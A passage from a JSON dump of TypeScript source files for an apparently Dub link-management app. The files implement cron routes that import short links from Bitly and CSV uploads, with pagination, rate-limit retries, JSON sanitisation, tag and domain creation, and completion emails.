try {\n    // Sanitize the JSON and then parse it\n    data = JSON.parse(sanitizedResponseText);\n  } catch (error) {\n    console.error(\"JSON parsing error:\", error);\n    console.error(`Failed to parse response: ${sanitizedResponseText}`);\n    throw new Error(\"Failed to parse JSON response from Bitly API\");\n  }\n\n  if (!data.links || !data.pagination) {\n    console.log(\"Unexpected response format:\", data);\n    return {\n      links: [],\n      nextSearchAfter: null,\n      rateLimited: false,\n    };\n  }\n\n  const { links, pagination } = data;\n  const nextSearchAfter = pagination.search_after;\n\n  return {\n    links,\n    nextSearchAfter,\n    rateLimited: false,\n  };\n};\n\n/**\n * Batch method to fetch links from Bitly (multiple requests)\n * For use with high rate limit groups\n */\nconst fetchBitlyLinksBatch = async ({\n  bitlyGroup,\n  bitlyApiKey,\n  searchAfter,\n  createdBefore,\n}: {\n  bitlyGroup: string;\n  bitlyApiKey: string;\n  searchAfter: string | null;\n  createdBefore: string | null;\n}): Promise<FetchBitlyLinksResult> => {\n  // Array to collect all links from multiple requests\n  let allLinks: any[] = [];\n  let currentSearchAfter = searchAfter;\n  let nextSearchAfter = null;\n  const maxRequests = 10; // Number of consecutive requests to make\n\n  // Make multiple requests to fetch up to 1000 links\n  for (let i = 0; i < maxRequests; i++) {\n    const response = await fetch(\n      `https://api-ssl.bitly.com/v4/groups/${bitlyGroup}/bitlinks?${new URLSearchParams(\n        {\n          size: \"100\",\n          ...(currentSearchAfter && { search_after: currentSearchAfter }),\n          ...(createdBefore && { created_before: createdBefore }),\n        },\n      )}`,\n      {\n        headers: {\n          \"Content-Type\": \"application/json\",\n          Authorization: `Bearer ${bitlyApiKey}`,\n        },\n      },\n    );\n\n    // Check for rate limiting\n    if (!response.ok && response.status === 429) {\n      // If rate limited on the first request, return with rateLimited flag\n      if (i === 0) {\n        return {\n          links: [],\n          nextSearchAfter: searchAfter,\n          rateLimited: true,\n        };\n      } else {\n        // If rate limited after collecting some links, process what we have so far\n        console.log(\n          `Rate limited after ${i} requests. Processing ${allLinks.length} links.`,\n        );\n        break;\n      }\n    }\n\n    // Get response as text first\n    const responseText = await response.text();\n    const sanitizedResponseText = sanitizeBitlyJson(responseText);\n    let data;\n    try {\n      // Sanitize the JSON and then parse it\n      data = JSON.parse(sanitizedResponseText);\n    } catch (error) {\n      console.error(\"JSON parsing error:\", error);\n      console.error(`Failed to parse response: ${sanitizedResponseText}`);\n\n      if (i === 0) {\n        throw new Error(\"Failed to parse JSON response from Bitly API\");\n      }\n      break; // Process what we have so far\n    }\n\n    // If the response is not as expected, break the loop\n    if (!data.links || !data.pagination) {\n      console.log(\"Unexpected response format:\", data);\n      if (i === 0) {\n        return {\n          links: [],\n          nextSearchAfter: null,\n          rateLimited: false,\n        };\n      }\n      break; // Process what we have so far\n    }\n\n    const { links, pagination } = data;\n    nextSearchAfter = pagination.search_after;\n\n    // Add links to our collection\n    allLinks = [...allLinks, ...links];\n\n    // Update search_after for next request\n    currentSearchAfter = nextSearchAfter;\n\n    // If there are no more links to fetch, break the loop\n    if (!nextSearchAfter || links.length < 100) {\n      break;\n    }\n  }\n\n  console.log(\n    `Batch fetched ${allLinks.length} links in ${Math.ceil(allLinks.length / 100)} requests`,\n  );\n\n  return {\n    links: allLinks,\n    nextSearchAfter,\n    rateLimited: false,\n    batchStats: {\n      batchCount: Math.ceil(allLinks.length / 100),\n      totalLinks: allLinks.length,\n    },\n  };\n};\n"
  },
  {
    "path": "apps/web/app/(ee)/api/cron/import/bitly/queue-import.ts",
    "content": "import { qstash } from \"@/lib/cron\";\nimport { APP_DOMAIN_WITH_NGROK } from \"@dub/utils\";\n\n// Queue a Bitly import\nexport const queueBitlyImport = async (payload: {\n  workspaceId: string;\n  userId: string;\n  bitlyGroup: string;\n  domains: string[];\n  folderId?: string;\n  tagsToId?: Record<string, string>;\n  searchAfter?: string | null;\n  count?: number;\n  rateLimited?: boolean;\n  delay?: number;\n}) => {\n  const { tagsToId, delay, ...rest } = payload;\n\n  return await qstash.publishJSON({\n    url: `${APP_DOMAIN_WITH_NGROK}/api/cron/import/bitly`,\n    body: {\n      ...rest,\n      importTags: tagsToId ? true : false,\n    },\n    ...(delay && { delay }),\n  });\n};\n"
  },
  {
    "path": "apps/web/app/(ee)/api/cron/import/bitly/rate-limit.ts",
    "content": "import { queueBitlyImport } from \"./queue-import\";\n\n/**\n * Check if we're rate limited and handle accordingly\n */\nexport const checkIfRateLimited = async (bitlyApiKey: unknown, body: any) => {\n  const path = \"/groups/{group_guid}/bitlinks\";\n\n  const response = await fetch(\n    `https://api-ssl.bitly.com/v4/user/platform_limits?path=${path}`,\n    {\n      headers: {\n        Authorization: `Bearer ${bitlyApiKey}`,\n        \"Content-Type\": \"application/json\",\n      },\n    },\n  );\n\n  const data = (await response.json()) as {\n    platform_limits: {\n      endpoint: string;\n      methods: {\n        name: string;\n        limit: number;\n        count: number;\n      }[];\n    }[];\n  };\n\n  const endpoint = data.platform_limits[0].methods.find(\n    (method) => method.name === \"GET\",\n  )!;\n\n  const limit = endpoint.limit;\n  const currentUsage = endpoint.count;\n\n  console.log(\"checkIfRateLimited\", endpoint);\n  console.log(\"originalBody\", body);\n\n  const isRateLimited = currentUsage >= limit;\n\n  if (isRateLimited) {\n    await queueBitlyImport({\n      ...body,\n      rateLimited: true,\n      delay: 2 * 60, // try again after 2 minutes\n    });\n  }\n\n  return isRateLimited;\n};\n"
  },
  {
    "path": "apps/web/app/(ee)/api/cron/import/bitly/route.ts",
    "content": "import { createId } from \"@/lib/api/create-id\";\nimport { DubApiError, handleAndReturnErrorResponse } from \"@/lib/api/errors\";\nimport { verifyQstashSignature } from \"@/lib/cron/verify-qstash\";\nimport { redis } from \"@/lib/upstash\";\nimport { randomBadgeColor } from \"@/ui/links/tag-badge\";\nimport { prisma } from \"@dub/prisma\";\nimport { log } from \"@dub/utils\";\nimport { NextResponse } from \"next/server\";\nimport { checkIfRateLimited } from \"./rate-limit\";\nimport { importLinksFromBitly } from \"./utils\";\n\nexport const dynamic = \"force-dynamic\";\n\nexport async function POST(req: Request) {\n  try {\n    const rawBody = await req.text();\n    await verifyQstashSignature({ req, rawBody });\n\n    const body = JSON.parse(rawBody);\n    const { workspaceId, bitlyGroup, importTags, rateLimited = false } = body;\n\n    try {\n      const bitlyApiKey = await redis.get(`import:bitly:${workspaceId}`);\n\n      if (rateLimited) {\n        const isRateLimited = await checkIfRateLimited(bitlyApiKey, body);\n\n        if (isRateLimited) {\n          return NextResponse.json({\n            response: \"rate_limited\",\n          });\n        }\n      }\n\n      let tagsToId: Record<string, string> | null = null;\n      if (importTags === true) {\n        const tagsImported = await redis.get(\n          `import:bitly:${workspaceId}:tags`,\n        );\n\n        if (!tagsImported) {\n          const tags = (await fetch(\n            `https://api-ssl.bitly.com/v4/groups/${bitlyGroup}/tags`,\n            {\n              headers: {\n                \"Content-Type\": \"application/json\",\n                Authorization: `Bearer ${bitlyApiKey}`,\n              },\n            },\n          )\n            .then((r) => r.json())\n            .then((r) => r.tags)) as string[];\n\n          await prisma.tag.createMany({\n            data: tags.map((tag) => ({\n              id: createId({ prefix: \"tag_\" }),\n              name: tag,\n              color: randomBadgeColor(),\n              projectId: workspaceId,\n            })),\n            skipDuplicates: true,\n          });\n          await redis.set(`import:bitly:${workspaceId}:tags`, \"true\");\n        }\n\n        tagsToId = await prisma.tag\n          .findMany({\n            where: {\n              projectId: workspaceId,\n            },\n            select: {\n              id: true,\n              name: true,\n            },\n          })\n          .then((tags) =>\n            tags.reduce((acc, tag) => {\n              acc[tag.name] = tag.id;\n              return acc;\n            }, {}),\n          );\n      }\n      await importLinksFromBitly({\n        ...body,\n        tagsToId,\n        bitlyApiKey,\n      });\n      return NextResponse.json({\n        response: \"success\",\n      });\n    } catch (error) {\n      const workspace = await prisma.project.findUnique({\n        where: {\n          id: workspaceId,\n        },\n        select: {\n          slug: true,\n        },\n      });\n      throw new DubApiError({\n        code: \"bad_request\",\n        message: `Workspace: ${workspace?.slug || workspaceId}. Error: ${error.message}`,\n      });\n    }\n  } catch (error) {\n    await log({\n      message: `Error importing Bitly links: ${error.message}`,\n      type: \"cron\",\n    });\n\n    return handleAndReturnErrorResponse(error);\n  }\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/cron/import/bitly/sanitize-json.ts",
    "content": "export function sanitizeBitlyJson(body: string): string {\n  try {\n    // if body is already valid JSON, return it\n    JSON.parse(body);\n    return body;\n  } catch (err) {\n    console.error(\"Error parsing JSON, starting sanitization...\");\n  }\n\n  // First, remove \"title\" field which can sometimes contain invalid values that break the JSON parsing\n  body = body.replace(\n    /\"long_url\":\"([^\"]+)\".+?\"archived\"/g,\n    '\"long_url\":\"$1\",\"archived\"',\n  );\n\n  // Handle problematic characters in URLs themselves\n  body = body.replace(/\"long_url\":\"(.*?)\"/g, (_match, url) => {\n    // Escape backslashes and quotes that might be in the URL\n    const safeUrl = url\n      .replace(/\\\\/g, \"\\\\\\\\\")\n      .replace(/\"/g, '\\\\\"')\n      // Additional problematic characters to escape\n      .replace(/[\\u0000-\\u001F\\u007F-\\u009F]/g, \"\");\n    return `\"long_url\":\"${safeUrl}\"`;\n  });\n\n  // Then handle control characters\n  return body.replace(/[\\u0000-\\u001F\\u007F-\\u009F]/g, (char) => {\n    // Convert to proper JSON escape sequence if it's a common one\n    switch (char) {\n      case \"\\n\":\n        return \"\\\\n\";\n      case \"\\r\":\n        return \"\\\\r\";\n      case \"\\t\":\n        return \"\\\\t\";\n      case \"\\b\":\n        return \"\\\\b\";\n      case \"\\f\":\n        return \"\\\\f\";\n      // Remove or replace other control characters\n      default:\n        return \"\";\n    }\n  });\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/cron/import/bitly/utils.ts",
    "content": "import { bulkCreateLinks } from \"@/lib/api/links\";\nimport { redis } from \"@/lib/upstash\";\nimport { sendEmail } from \"@dub/email\";\nimport LinksImported from \"@dub/email/templates/links-imported\";\nimport { prisma } from \"@dub/prisma\";\nimport { getUrlFromStringIfValid, linkConstructorSimple } from \"@dub/utils\";\nimport { fetchBitlyLinks } from \"./fetch-utils\";\nimport { queueBitlyImport } from \"./queue-import\";\n\n// Note: rate limit for /groups/{group_guid}/bitlinks is 1500 per hour or 150 per minute\nexport const importLinksFromBitly = async ({\n  workspaceId,\n  userId,\n  bitlyGroup,\n  domains,\n  folderId,\n  tagsToId,\n  bitlyApiKey,\n  searchAfter = null,\n  createdBefore = null,\n  count = 0,\n}: {\n  workspaceId: string;\n  userId: string;\n  bitlyGroup: string;\n  domains: string[];\n  folderId?: string;\n  tagsToId?: Record<string, string>;\n  bitlyApiKey: string;\n  searchAfter?: string | null;\n  createdBefore?: string | null;\n  count?: number;\n}) => {\n  // Fetch links from Bitly (either standard or batch method based on bitlyGroup)\n  const { links, nextSearchAfter, rateLimited, batchStats } =\n    await fetchBitlyLinks({\n      bitlyGroup,\n      bitlyApiKey,\n      searchAfter,\n      createdBefore,\n    });\n\n  // If rate limited, queue for later\n  if (rateLimited) {\n    return await queueBitlyImport({\n      workspaceId,\n      userId,\n      bitlyGroup,\n      domains,\n      folderId,\n      tagsToId,\n      searchAfter,\n      count,\n      rateLimited: true,\n    });\n  }\n\n  // If no links were returned, exit early\n  if (!links || links.length === 0) {\n    console.log(\"No links returned from Bitly\");\n    return count;\n  }\n\n  const invalidLinks: any[] = [];\n\n  // convert links to format that can be imported into database\n  const importedLinks = links.flatMap(\n    ({ id, long_url: url, archived, created_at, custom_bitlinks, tags }) => {\n      if (!id || !url) {\n        return [];\n      }\n      const [domain, key] = id.split(\"/\");\n      // if domain is not in workspace domains, skip (could be a bit.ly link or old short domain)\n      if (!domains.includes(domain)) {\n        invalidLinks.push({\n          id,\n          url,\n        });\n        return [];\n      }\n\n      const sanitizedUrl = getUrlFromStringIfValid(url);\n      // skip if url is not valid\n      if (!sanitizedUrl) {\n        invalidLinks.push({\n          id,\n          url,\n        });\n        return [];\n      }\n\n      const createdAt = new Date(created_at).toISOString();\n      const tagIds = tagsToId ? tags.map((tag: string) => tagsToId[tag]) : [];\n      const linkDetails = {\n        projectId: workspaceId,\n        userId,\n        domain,\n        key,\n        url: sanitizedUrl,\n        shortLink: linkConstructorSimple({\n          domain,\n          key,\n        }),\n        archived,\n        createdAt,\n        tagIds,\n        folderId,\n      };\n\n      return [\n        linkDetails,\n        // if link has custom bitlinks, add them to the list of links to import\n        ...(custom_bitlinks\n          ?.filter((customBitlink: string) => {\n            try {\n              const customDomain = new URL(customBitlink).hostname;\n              // only import custom bitlinks that have the same domain as the domains\n              // that were previously imported into the workspace from bitly\n              return domains.includes(customDomain);\n            } catch (e) {\n              console.error(\n                `Invalid custom bitlink, skipping: ${customBitlink}`,\n              );\n              return false;\n            }\n          })\n          .map((customBitlink: string) => {\n            try {\n              // here we are getting the customDomain again just in case\n              // the custom bitlink doesn't have the same domain as the\n              // original bitlink, but it should\n              const customDomain = new URL(customBitlink).hostname;\n              const customKey = new URL(customBitlink).pathname.slice(1);\n\n              // Create a copy with the new domain and key\n              return {\n                ...linkDetails,\n                domain: customDomain,\n                key: customKey,\n                shortLink: linkConstructorSimple({\n                  domain: customDomain,\n                  key: customKey,\n                }),\n              };\n            } catch (e) {\n              console.error(\n                `Error processing custom bitlink, skipping: ${customBitlink}`,\n              );\n              return null;\n            }\n          })\n          .filter(Boolean) ?? []),\n      ];\n    },\n  );\n\n  console.log(`Creating ${importedLinks.length} new links...`);\n\n  // bulk create links\n  await bulkCreateLinks({ links: importedLinks, skipRedisCache: true });\n\n  count += importedLinks.length;\n\n  // Log batch stats if available\n  console.log({\n    importedLinksLength: importedLinks.length,\n    count,\n    nextSearchAfter,\n    ...(batchStats && { batchStats }),\n  });\n\n  console.log(`Invalid links: ${invalidLinks.length}`);\n  console.log(JSON.stringify(invalidLinks, null, 2));\n\n  const finalImportedLink = importedLinks[importedLinks.length - 1];\n  console.log(\n    `Successfully imported ${importedLinks.length} new links! Final imported link: ${finalImportedLink?.shortLink} (${finalImportedLink ? new Date(finalImportedLink.createdAt).toISOString() : \"none\"})`,\n  );\n\n  if (nextSearchAfter === \"\") {\n    const workspace = await prisma.project.findUnique({\n      where: {\n        id: workspaceId,\n      },\n      select: {\n        name: true,\n        slug: true,\n        users: {\n          where: {\n            role: \"owner\",\n          },\n          select: {\n            user: {\n              select: {\n                email: true,\n              },\n            },\n          },\n        },\n        // only include links if less than 10,000 links have been imported\n        ...(count < 10_000 && {\n          links: {\n            select: {\n              domain: true,\n              key: true,\n              createdAt: true,\n            },\n            where: {\n              domain: {\n                in: domains,\n              },\n            },\n            take: 5,\n            orderBy: {\n              createdAt: \"desc\",\n            },\n          },\n        }),\n      },\n    });\n    const ownerEmail = workspace?.users[0].user.email ?? \"\";\n    const links = workspace?.links ?? [];\n\n    await Promise.all([\n      // delete keys from redis\n      redis.del(`import:bitly:${workspaceId}`),\n      redis.del(`import:bitly:${workspaceId}:tags`),\n\n      // delete tags that have no links\n      prisma.tag.deleteMany({\n        where: {\n          projectId: workspaceId,\n          links: {\n            none: {},\n          },\n        },\n      }),\n\n      // send email to user\n      sendEmail({\n        subject: `Your Bitly links have been imported!`,\n        to: ownerEmail,\n        react: LinksImported({\n          email: ownerEmail,\n          provider: \"Bitly\",\n          count,\n          links,\n          domains,\n          workspaceName: workspace?.name ?? \"\",\n          workspaceSlug: workspace?.slug ?? \"\",\n        }),\n      }),\n    ]);\n    return count;\n  } else {\n    return await queueBitlyImport({\n      workspaceId,\n      userId,\n      bitlyGroup,\n      domains,\n      folderId,\n      tagsToId,\n      searchAfter: nextSearchAfter,\n      count,\n    });\n  }\n};\n"
  },
  {
    "path": "apps/web/app/(ee)/api/cron/import/csv/route.ts",
    "content": "import { createId } from \"@/lib/api/create-id\";\nimport { addDomainToVercel } from \"@/lib/api/domains/add-domain-vercel\";\nimport { handleAndReturnErrorResponse } from \"@/lib/api/errors\";\nimport { bulkCreateLinks, createLink, processLink } from \"@/lib/api/links\";\nimport { qstash } from \"@/lib/cron\";\nimport { verifyQstashSignature } from \"@/lib/cron/verify-qstash\";\nimport { ProcessedLinkProps } from \"@/lib/types\";\nimport { redis } from \"@/lib/upstash\";\nimport { linkMappingSchema } from \"@/lib/zod/schemas/import-csv\";\nimport { createLinkBodySchema } from \"@/lib/zod/schemas/links\";\nimport { randomBadgeColor } from \"@/ui/links/tag-badge\";\nimport { prisma } from \"@dub/prisma\";\nimport {\n  APP_DOMAIN_WITH_NGROK,\n  DEFAULT_LINK_PROPS,\n  DUB_DOMAINS_ARRAY,\n  linkConstructorSimple,\n  log,\n  normalizeString,\n  parseDateTime,\n} from \"@dub/utils\";\nimport { getUrlObjFromString } from \"@dub/utils/src\";\nimport { NextResponse } from \"next/server\";\nimport * as z from \"zod/v4\";\nimport { sendCsvImportEmails } from \"./utils\";\n\nexport const dynamic = \"force-dynamic\";\n\nconst payloadSchema = z.object({\n  workspaceId: z.string(),\n  userId: z.string(),\n  id: z.string(),\n  folderId: z.string().nullable(),\n  mapping: linkMappingSchema,\n});\n\ninterface MapperResult {\n  success: boolean;\n  error?: string;\n  data?: {\n    domain: string;\n    key: string;\n    url: string;\n    title?: string;\n    description?: string;\n    tags?: string[];\n    createdAt?: Date;\n  };\n}\n\ninterface ErrorLink {\n  domain: string;\n  key: string;\n  error: string;\n}\n\n// POST /api/cron/import/csv\nexport async function POST(req: Request) {\n  try {\n    const rawBody = await req.text();\n\n    await verifyQstashSignature({\n      req,\n      rawBody,\n    });\n\n    const payload = payloadSchema.parse(JSON.parse(rawBody));\n    const { workspaceId, id } = payload;\n    const redisKey = `import:csv:${workspaceId}:${id}`;\n    const BATCH_SIZE = 100;\n\n    const rows = await redis.lpop<Record<string, string>[]>(\n      `${redisKey}:rows`,\n      BATCH_SIZE,\n    );\n\n    if (rows && rows.length > 0) {\n      const mappedLinks: MapperResult[] = rows.map((row) =>\n        mapCsvRowToLink(row, payload.mapping),\n      );\n\n      await processMappedLinks({\n        mappedLinks,\n        payload,\n      });\n\n      await redis.incrby(`${redisKey}:processed`, rows.length);\n\n      if (rows.length === BATCH_SIZE) {\n        const response = await qstash.publishJSON({\n          url: `${APP_DOMAIN_WITH_NGROK}/api/cron/import/csv`,\n          body: payload,\n        });\n        return NextResponse.json(response);\n      }\n    }\n\n    // Finished processing all rows\n    const errorLinks = await redis.lrange<ErrorLink>(\n      `${redisKey}:failed`,\n      0,\n      -1,\n    );\n    const createdCount = parseInt(\n      (await redis.get(`${redisKey}:created`)) || \"0\",\n    );\n    const domains = await redis.smembers(`${redisKey}:domains`);\n\n    await sendCsvImportEmails({\n      workspaceId,\n      count: createdCount,\n      domains,\n      errorLinks,\n    });\n\n    await Promise.allSettled([\n      redis.del(`${redisKey}:created`),\n      redis.del(`${redisKey}:failed`),\n      redis.del(`${redisKey}:domains`),\n      redis.del(`${redisKey}:rows`),\n      redis.del(`${redisKey}:processed`),\n    ]);\n\n    return NextResponse.json(\"OK\");\n  } catch (error) {\n    await log({\n      message: `Error importing CSV links: ${error.message}`,\n      type: \"cron\",\n    });\n\n    return handleAndReturnErrorResponse(error);\n  }\n}\n\n// Map a CSV row to a link\nconst mapCsvRowToLink = (\n  row: Record<string, string>,\n  mapping: z.infer<typeof linkMappingSchema>,\n): MapperResult => {\n  try {\n    // Helper function to get value from CSV row using case-insensitive matching\n    const getValueByKey = (targetKey: string) => {\n      const key = Object.keys(row).find(\n        (k) => normalizeString(k) === normalizeString(targetKey),\n      );\n\n      return key ? row[key].trim() : \"\";\n    };\n\n    const linkValue = getValueByKey(mapping.link);\n    const urlValue = getValueByKey(mapping.url);\n\n    if (!linkValue) {\n      return {\n        success: false,\n        error: \"Missing required field: link\",\n      };\n    }\n\n    if (!urlValue) {\n      return {\n        success: false,\n        error: \"Missing required field: url\",\n      };\n    }\n\n    const linkObj = getUrlObjFromString(linkValue);\n\n    if (!linkObj) {\n      return {\n        success: false,\n        error: `Invalid link format: ${linkValue}`,\n      };\n    }\n    const domain = linkObj.hostname;\n    const key = linkObj.pathname.slice(1) || \"_root\";\n\n    let urlObj: URL;\n    try {\n      urlObj = new URL(urlValue);\n    } catch {\n      return {\n        success: false,\n        error: `Invalid URL format: ${urlValue}`,\n      };\n    }\n\n    const link: MapperResult[\"data\"] = {\n      domain,\n      key,\n      url: urlObj.toString(),\n    };\n\n    if (mapping.title) {\n      const title = getValueByKey(mapping.title);\n\n      if (title) {\n        link.title = title;\n      }\n    }\n\n    if (mapping.description) {\n      const description = getValueByKey(mapping.description);\n\n      if (description) {\n        link.description = description;\n      }\n    }\n\n    if (mapping.createdAt) {\n      const createdAt = getValueByKey(mapping.createdAt);\n\n      if (createdAt) {\n        const date = parseDateTime(createdAt);\n\n        if (date) {\n          link.createdAt = date;\n        }\n      }\n    }\n\n    if (mapping.tags) {\n      const tags = getValueByKey(mapping.tags);\n\n      if (tags) {\n        link.tags = tags\n          .split(\",\")\n          .map((tag) => tag.trim())\n          .filter(Boolean)\n          .map((tag) => normalizeString(tag));\n      }\n    }\n\n    return {\n      success: true,\n      data: link,\n    };\n  } catch (error) {\n    return {\n      success: false,\n      error: error instanceof Error ? error.message : \"Unknown error occurred\",\n    };\n  }\n};\n\n// Process the mapped links and create the tag/domain/link in the database\nconst processMappedLinks = async ({\n  mappedLinks,\n  payload,\n}: {\n  mappedLinks: MapperResult[];\n  payload: z.infer<typeof payloadSchema>;\n}) => {\n  const { workspaceId, userId, folderId } = payload;\n  const redisKey = `import:csv:${workspaceId}:${payload.id}`;\n\n  if (mappedLinks.length === 0) {\n    console.log(\"No links to process.\");\n    return;\n  }\n\n  const successfulMappings = mappedLinks.filter(\n    (\n      result,\n    ): result is { success: true; data: NonNullable<MapperResult[\"data\"]> } =>\n      result.success && !!result.data,\n  );\n\n  // Process the tags\n  let selectedTags = successfulMappings\n    .map((result) => result.data.tags || [])\n    .flat()\n    .filter((tag): tag is string => Boolean(tag));\n\n  selectedTags = [...new Set(selectedTags)];\n\n  const tags = await prisma.tag.findMany({\n    where: {\n      projectId: workspaceId,\n    },\n    select: {\n      id: true,\n      name: true,\n    },\n  });\n\n  const tagsNotInWorkspace = selectedTags.filter(\n    (tag) => !tags.some((t) => t.name.toLowerCase() === tag.toLowerCase()),\n  );\n\n  if (tagsNotInWorkspace.length > 0) {\n    console.log(`Creating ${tagsNotInWorkspace.length} new tags.`);\n\n    await prisma.tag.createMany({\n      data: tagsNotInWorkspace.map((name) => ({\n        id: createId({ prefix: \"tag_\" }),\n        projectId: workspaceId,\n        name,\n        color: randomBadgeColor(),\n      })),\n      skipDuplicates: true,\n    });\n  }\n\n  // Process the domains\n  let selectedDomains = successfulMappings\n    .map((result) => result.data.domain)\n    .filter((domain): domain is string => Boolean(domain));\n\n  selectedDomains = [...new Set(selectedDomains)];\n\n  const domains = await prisma.domain.findMany({\n    where: {\n      projectId: workspaceId,\n    },\n  });\n\n  const domainsNotInWorkspace = selectedDomains.filter(\n    (domain) =>\n      !domains.some((d) => d.slug === domain) &&\n      !DUB_DOMAINS_ARRAY.includes(domain),\n  );\n\n  if (domainsNotInWorkspace.length > 0) {\n    console.log(`Creating ${domainsNotInWorkspace.length} new domains.`);\n\n    await Promise.allSettled([\n      prisma.domain.createMany({\n        data: domainsNotInWorkspace.map((slug) => ({\n          id: createId({ prefix: \"dom_\" }),\n          projectId: workspaceId,\n          slug,\n          primary: false,\n        })),\n        skipDuplicates: true,\n      }),\n\n      domainsNotInWorkspace.map((domain) => addDomainToVercel(domain)),\n\n      domainsNotInWorkspace.map((domain) =>\n        createLink({\n          ...DEFAULT_LINK_PROPS,\n          projectId: workspaceId,\n          userId,\n          domain,\n          key: \"_root\",\n          url: \"\",\n          tags: undefined,\n        }),\n      ),\n    ]);\n  }\n\n  if (selectedDomains.length > 0) {\n    await redis.sadd(`${redisKey}:domains`, ...(selectedDomains as [string]));\n  }\n\n  // Process the links\n  let linksToCreate = successfulMappings.map((result) => result.data);\n\n  const existingLinks = await prisma.link.findMany({\n    where: {\n      projectId: workspaceId,\n      shortLink: {\n        in: linksToCreate.map((link) => linkConstructorSimple(link)),\n      },\n    },\n    select: {\n      shortLink: true,\n    },\n  });\n\n  console.log(`Skipping ${existingLinks.length} existing links.`);\n\n  linksToCreate = linksToCreate.filter(\n    (link) =>\n      !existingLinks.some((l) => l.shortLink === linkConstructorSimple(link)),\n  );\n\n  const workspace = await prisma.project.findUniqueOrThrow({\n    where: {\n      id: workspaceId,\n    },\n    select: {\n      id: true,\n      plan: true,\n      users: {\n        where: {\n          userId,\n        },\n      },\n    },\n  });\n\n  const processedLinks = await Promise.all(\n    linksToCreate.map(({ tags, ...link }) =>\n      processLink({\n        payload: {\n          ...createLinkBodySchema.parse({\n            ...link,\n            tagNames: tags || [],\n            folderId,\n          }),\n        },\n        workspace,\n        userId,\n        bulk: true,\n      }),\n    ),\n  );\n\n  const validLinks = processedLinks\n    .filter(({ error }) => error == null)\n    .map(({ link }) => link);\n\n  const errorLinks = processedLinks\n    .filter(({ error }) => error != null)\n    .map(({ link: { domain, key }, error }) => ({\n      domain,\n      key,\n      error,\n    }));\n\n  if (validLinks.length > 0) {\n    console.log(`Creating ${validLinks.length} new links.`);\n\n    await bulkCreateLinks({\n      links: validLinks as ProcessedLinkProps[],\n      skipRedisCache: true,\n    });\n\n    await redis.incrby(`${redisKey}:created`, validLinks.length);\n  }\n\n  if (errorLinks.length > 0) {\n    console.log(`${errorLinks.length} failed to create.`);\n\n    await redis.rpush(`${redisKey}:failed`, ...errorLinks);\n  }\n};\n"
  },
  {
    "path": "apps/web/app/(ee)/api/cron/import/csv/utils.ts",
    "content": "import { sendEmail } from \"@dub/email\";\nimport LinksImportErrors from \"@dub/email/templates/links-import-errors\";\nimport LinksImported from \"@dub/email/templates/links-imported\";\nimport { prisma } from \"@dub/prisma\";\n\nexport async function sendCsvImportEmails({\n  workspaceId,\n  count,\n  domains,\n  errorLinks,\n}: {\n  workspaceId: string;\n  count: number;\n  domains: string[];\n  errorLinks: {\n    domain: string;\n    key: string;\n    error: string;\n  }[];\n}) {\n  domains = Array.isArray(domains) && domains.length > 0 ? domains : [];\n  errorLinks =\n    Array.isArray(errorLinks) && errorLinks.length > 0 ? errorLinks : [];\n\n  const workspace = await prisma.project.findUnique({\n    where: {\n      id: workspaceId,\n    },\n    select: {\n      name: true,\n      slug: true,\n      users: {\n        where: {\n          role: \"owner\",\n        },\n        select: {\n          user: {\n            select: {\n              email: true,\n            },\n          },\n        },\n      },\n      links: {\n        select: {\n          domain: true,\n          key: true,\n          createdAt: true,\n        },\n        where: {\n          domain: {\n            in: domains,\n          },\n        },\n        take: 5,\n        orderBy: {\n          createdAt: \"desc\",\n        },\n      },\n    },\n  });\n\n  const ownerEmail = workspace?.users[0].user.email ?? \"\";\n\n  if (count > 0) {\n    sendEmail({\n      subject: `Your CSV links have been imported!`,\n      to: ownerEmail,\n      react: LinksImported({\n        email: ownerEmail,\n        provider: \"CSV\",\n        count,\n        links: workspace?.links ?? [],\n        domains,\n        workspaceName: workspace?.name ?? \"\",\n        workspaceSlug: workspace?.slug ?? \"\",\n      }),\n    });\n  }\n\n  if (errorLinks.length > 0) {\n    sendEmail({\n      subject: `Some CSV links failed to import`,\n      to: ownerEmail,\n      react: LinksImportErrors({\n        email: ownerEmail,\n        provider: \"CSV\",\n        errorLinks,\n        workspaceName: workspace?.name ?? \"\",\n        workspaceSlug: workspace?.slug ?? \"\",\n      }),\n    });\n  }\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/cron/import/firstpromoter/route.ts",
    "content": "import { handleAndReturnErrorResponse } from \"@/lib/api/errors\";\nimport { verifyQstashSignature } from \"@/lib/cron/verify-qstash\";\nimport { importCampaigns } from \"@/lib/firstpromoter/import-campaigns\";\nimport { importCommissions } from \"@/lib/firstpromoter/import-commissions\";\nimport { importCustomers } from \"@/lib/firstpromoter/import-customers\";\nimport { importPartners } from \"@/lib/firstpromoter/import-partners\";\nimport { firstPromoterImportPayloadSchema } from \"@/lib/firstpromoter/schemas\";\nimport { updateStripeCustomers } from \"@/lib/firstpromoter/update-stripe-customers\";\nimport { NextResponse } from \"next/server\";\n\nexport const dynamic = \"force-dynamic\";\n\nexport async function POST(req: Request) {\n  try {\n    const rawBody = await req.text();\n\n    await verifyQstashSignature({\n      req,\n      rawBody,\n    });\n\n    const payload = firstPromoterImportPayloadSchema.parse(JSON.parse(rawBody));\n\n    switch (payload.action) {\n      case \"import-campaigns\":\n        await importCampaigns(payload);\n        break;\n      case \"import-partners\":\n        await importPartners(payload);\n        break;\n      case \"import-customers\":\n        await importCustomers(payload);\n        break;\n      case \"import-commissions\":\n        await importCommissions(payload);\n        break;\n      case \"update-stripe-customers\":\n        await updateStripeCustomers(payload);\n        break;\n      default:\n        throw new Error(`Unknown action: ${payload.action}`);\n    }\n\n    return NextResponse.json(\"OK\");\n  } catch (error) {\n    return handleAndReturnErrorResponse(error);\n  }\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/cron/import/partnerstack/route.ts",
